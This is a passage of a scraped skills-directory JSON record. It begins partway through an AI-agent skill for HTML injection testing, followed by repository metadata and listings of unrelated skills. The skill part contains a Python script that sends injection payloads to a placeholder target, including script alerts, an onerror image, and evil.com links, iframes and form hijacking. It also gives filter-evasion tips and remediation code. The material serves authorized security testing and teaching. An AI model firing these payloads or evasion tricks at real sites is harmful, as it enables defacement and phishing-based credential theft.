urllib.parse\n\ntarget = \"http:\u002F\u002Ftarget.com\u002Fsearch\"\nparam = \"q\"\n\npayloads = [\n    \"\u003Ch1>Test\u003C\u002Fh1>\",\n    \"\u003Cb>Bold\u003C\u002Fb>\",\n    \"\u003Cscript>alert(1)\u003C\u002Fscript>\",\n    \"\u003Cimg src=x onerror=alert(1)>\",\n    \"\u003Ca href='http:\u002F\u002Fevil.com'>Click\u003C\u002Fa>\",\n    \"\u003Cdiv style='color:red'>Styled\u003C\u002Fdiv>\",\n    \"\u003Cmarquee>Moving\u003C\u002Fmarquee>\",\n    \"\u003Ciframe src='http:\u002F\u002Fevil.com'>\u003C\u002Fiframe>\",\n]\n\nfor payload in payloads:\n    encoded = urllib.parse.quote(payload)\n    url = f\"{target}?{param}={encoded}\"\n    \n    try:\n        response = requests.get(url, timeout=5)\n        if payload.lower() in response.text.lower():\n            print(f\"[+] Possible injection: {payload}\")\n        elif \"\u003Ch1>\" in response.text or \"\u003Cb>\" in response.text:\n            print(f\"[?] Partial reflection: {payload}\")\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n```\n\n### Phase 10: Prevention and Remediation\n\nSecure coding practices:\n\n```php\n\u002F\u002F PHP: Escape output\necho htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');\n\n\u002F\u002F PHP: Strip tags\necho strip_tags($user_input);\n\n\u002F\u002F PHP: Allow specific tags only\necho strip_tags($user_input, '\u003Cp>\u003Cb>\u003Ci>');\n```\n\n```python\n# Python: HTML escape\nfrom html import escape\nsafe_output = escape(user_input)\n\n# Python Flask: Auto-escaping\n{{ user_input }}  # Jinja2 escapes by default\n{{ user_input | safe }}  # Marks as safe (dangerous!)\n```\n\n```javascript\n\u002F\u002F JavaScript: Text content (safe)\nelement.textContent = userInput;\n\n\u002F\u002F JavaScript: innerHTML (dangerous!)\nelement.innerHTML = userInput;  \u002F\u002F Vulnerable!\n\n\u002F\u002F JavaScript: Sanitize\nconst clean = DOMPurify.sanitize(userInput);\nelement.innerHTML = clean;\n```\n\nServer-side protections:\n- Input validation (whitelist allowed characters)\n- Output encoding (context-aware escaping)\n- Content Security Policy (CSP) headers\n- Web Application Firewall (WAF) rules\n\n## Quick Reference\n\n### Common Test Payloads\n\n| Payload | Purpose |\n|---------|---------|\n| `\u003Ch1>Test\u003C\u002Fh1>` | Basic rendering test |\n| `\u003Cb>Bold\u003C\u002Fb>` | Simple formatting |\n| `\u003Ca href=\"evil.com\">Link\u003C\u002Fa>` | Link injection |\n| `\u003Cimg src=x>` | Image tag test |\n| `\u003Cdiv style=\"color:red\">` | Style injection |\n| `\u003Cform action=\"evil.com\">` | Form hijacking |\n\n### Injection Contexts\n\n| Context | Test Approach |\n|---------|---------------|\n| URL parameter | `?param=\u003Ch1>test\u003C\u002Fh1>` |\n| Form field | POST with HTML payload |\n| Cookie value | Inject via document.cookie |\n| HTTP header | Inject in Referer\u002FUser-Agent |\n| File upload | HTML file with malicious content |\n\n### Encoding Types\n\n| Type | Example |\n|------|---------|\n| URL encoding | `%3Ch1%3E` = `\u003Ch1>` |\n| HTML entities | `<h1>` = `\u003Ch1>` |\n| Double encoding | `%253C` = `\u003C` |\n| Unicode | `\\u003c` = `\u003C` |\n\n## Constraints and Limitations\n\n### Attack Limitations\n- Modern browsers may sanitize some injections\n- CSP can prevent inline styles and scripts\n- WAFs may block common payloads\n- Some applications escape output properly\n\n### Testing Considerations\n- Distinguish between HTML injection and XSS\n- Verify visual impact in browser\n- Test in multiple browsers\n- Check for stored vs reflected\n\n### Severity Assessment\n- Lower severity than XSS (no script execution)\n- Higher impact when combined with phishing\n- Consider defacement\u002Freputation damage\n- Evaluate credential theft potential\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |\n| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |\n| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |\n",{"name":5,"metadata":51,"description":7},{"author":52,"version":53},"zebbern","1.1","main","2b749c82b5d11fac39d9a6e021ce3f5b8a541bd1","cli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fhtml-injection-testing",3911,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates","https:\u002F\u002Faitmpl.com","https:\u002F\u002Fgithub.com\u002Fdavila7","https:\u002F\u002Fdanielavila.me","Building AI dev tools with LLMs","2026-11-11 21:38:31",{"source":8,"skillName":5,"commands":65,"prompt":75,"zipAvailable":76},[66,69,72],{"tool":67,"command":68},"npx","npx skills add davila7\u002Fclaude-code-templates --skill html-injection-testing",{"tool":70,"command":71},"bunx","bunx skills add davila7\u002Fclaude-code-templates --skill html-injection-testing",{"tool":73,"command":74},"pnpm","pnpm dlx skills add davila7\u002Fclaude-code-templates --skill html-injection-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fhtml-injection-testing\u002FSKILL.md",true,[78,84,88],{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fquick-diff.sh","SCRIPT","脚本",3271,"https:\u002F\u002Fgithub.com\u002Fnoirelab\u002Flinux-setup\u002Fblob\u002Fmain\u002Fconfigs\u002Fcommon\u002Fclaude\u002Fskills\u002Fskill-stocktake\u002Fscripts\u002Fquick-diff.sh",{"path":85,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":86,"sourceHtmlUrl":87},"scripts\u002Fsave-results.sh",1952,"https:\u002F\u002Fgithub.com\u002Fnoirelab\u002Flinux-setup\u002Fblob\u002Fmain\u002Fconfigs\u002Fcommon\u002Fclaude\u002Fskills\u002Fskill-stocktake\u002Fscripts\u002Fsave-results.sh",{"path":89,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":90,"sourceHtmlUrl":91},"scripts\u002Fscan.sh",5677,"https:\u002F\u002Fgithub.com\u002Fnoirelab\u002Flinux-setup\u002Fblob\u002Fmain\u002Fconfigs\u002Fcommon\u002Fclaude\u002Fskills\u002Fskill-stocktake\u002Fscripts\u002Fscan.sh",[93,119,146,179,210,230],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":100,"publishedAt":46},"01M70NHBTQ8BV0A2SCAZXEPHCX","wealthville-pool-scoring","Score DeFi liquidity pools before providing liquidity. Returns a 0-100 pool score and an Enter\u002FHold\u002FExit\u002FReduce\u002FAvoid verdict with calibrated confidence for ~68,800 Solana pools and 575 EVM pools, plus a public miss-inclusive track record. Use when asked whether a pool is worth LPing into, which pools look best right now, or how accurate the scores have actually been.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fweb-data\u002Fwealthville-pool-scoring\u002FSKILL.md",[99],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[101,102,103,104,105,44,106,107,108,45,109,110,111,112,113,114,115,116,117,118],"scoring","pool","wealthville pool scoring","liquidity","which","exit","now","use","reduce","with","record","track","verdict","evm","solana","how","public","look",{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":126,"publishedAt":46},"01M70MB6VR8ERJ4EM8D5KHBMEV","technical-debt-auditor","Scans a codebase and produces a quantified technical debt report with a prioritized remediation plan. Analyzes dead code, TODO\u002FFIXME\u002FHACK markers, dependency staleness, complexity hotspots, code duplication signals, test coverage gaps, unused exports, and outdated patterns. Use this skill when the user asks to audit their codebase for tech debt, wants a health check of their code quality, says things like \"where should I focus refactoring\", \"find code smells\", \"audit my codebase\", \"what technical debt do we have\", \"prioritize cleanup work\", or asks about code quality metrics. Also trigger when the user mentions \"code rot\", \"legacy cleanup\", \"refactoring priorities\", or wants to understand the overall health of a project before a major effort. Trigger even if the user doesn't say \"technical debt\" explicitly — any request to systematically assess code quality and identify improvement priorities belongs here.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdevelopment\u002Ftechnical-debt-auditor\u002FSKILL.md",[125],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[127,128,129,130,131,132,133,134,135,136,137,45,138,139,140,141,142,143,144,145],"technical debt","debt","technical","technical debt auditor","auditor","coverage","complexity","markers","project","cleanup","unused","code","todo","work","plan","focus","signals","audit","dependency",{"skillNo":147,"name":148,"nameZh":6,"description":149,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":150,"categories":151,"keywords":161,"publishedAt":46},"01M70KPYH9QNHCNME5GJQGE22K","readonly-sql-guard","Make an agent's database access provably read-only. Use when an agent runs caller-supplied SQL against a production\u002FERP\u002Fanalytics database (a \"query\" MCP tool, text-to-SQL, an admin console), or when reviewing DB-access code for write\u002FDDL\u002Fside-effect\u002Ftransaction-escape risks. Checks what a statement CALLS, not just its shape.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fdatabase\u002Freadonly-sql-guard\u002FSKILL.md",[152,155,156],{"categoryNo":153,"categoryName":154,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":157,"categoryName":158,"taxonomyType":159,"taxonomyTypeDesc":160},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[162,163,164,165,166,167,168,44,169,170,171,172,173,174,175,108,176,177,45,178],"readonly","guard","sql guard","sql","readonly sql guard","erp","effect","read-only","db","just","tool","calls","only","MCP","access","database","query",{"skillNo":180,"name":181,"nameZh":6,"description":182,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":183,"licenseFileUrl":184,"sourceHtmlUrl":185,"categories":186,"keywords":188,"publishedAt":46},"01M6AFY6F7CC2BBZP1QD6VTNVC","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Futilities\u002Fweb-artifacts-builder\u002FSKILL.md",[187],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[189,36,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,33,208,44,209],"artifacts builder","web artifacts builder","artifacts","builder","state","routing","state management","component","css","frontend","ui","Tools","file","components","shadcn","react","Tailwind","suite","jsx","single-file","ui components",{"skillNo":211,"name":212,"nameZh":6,"description":213,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":183,"licenseFileUrl":214,"sourceHtmlUrl":215,"categories":216,"keywords":219,"publishedAt":46},"01M6AFWF33SFV9Z3SF4PEEE4BF","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Fwebapp-testing\u002FSKILL.md",[217,218],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[220,30,221,222,223,36,38,198,199,224,225,226,227,44,228,110,229],"webapp testing","webapp","browser","playwright","debugging","toolkit","logs","screenshots","local","behavior",{"skillNo":231,"name":232,"nameZh":6,"description":233,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":183,"licenseFileUrl":234,"sourceHtmlUrl":235,"categories":236,"keywords":244,"publishedAt":46},"01M6AF67Q67JJJ5V51JR2P52KA","discernment-nudge","After you give a substantive answer or draft that the user may act on — advice or recommendations, drafted artifacts such as goals, plans, pitches, proposals, or emails, estimates or projections, analysis or interpretation of data, factual claims they may rely on, or a multi-step argument — invoke this skill BEFORE finalizing your reply and then, if it applies, append 2-3 short follow-up questions, each tied to something specific in what you just produced, that help the user check key facts, probe the reasoning or assumptions, and notice missing context. Do this at most once per conversation. Skip it when the user asked a trivial how-to or simple lookup, wants a purely educational explanation, asked you only to format, convert, or assemble a file from content they provided, is writing code they will run, is doing creative writing or casual chat, or already asked you to double-check, cite, or review — the skill file explains these boundaries and the exact output format.","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fproductivity\u002Fdiscernment-nudge\u002FSKILL.md",[237,240,241],{"categoryNo":238,"categoryName":239,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":242,"categoryName":243,"taxonomyType":159,"taxonomyTypeDesc":160},"01JBSEEDCAT000000000000036","内容创作者",[245,246,247,248,249,250,251,252,191,253,201,138,37,254,255,256,257,174,258,45,259,260,261,262,263,116,264],"discernment nudge","nudge","interpretation","help","run","reasoning","data","writing","lookup","review","conversation","short","up","invoke","you","analysis","claims","argument","assemble","recommendations"]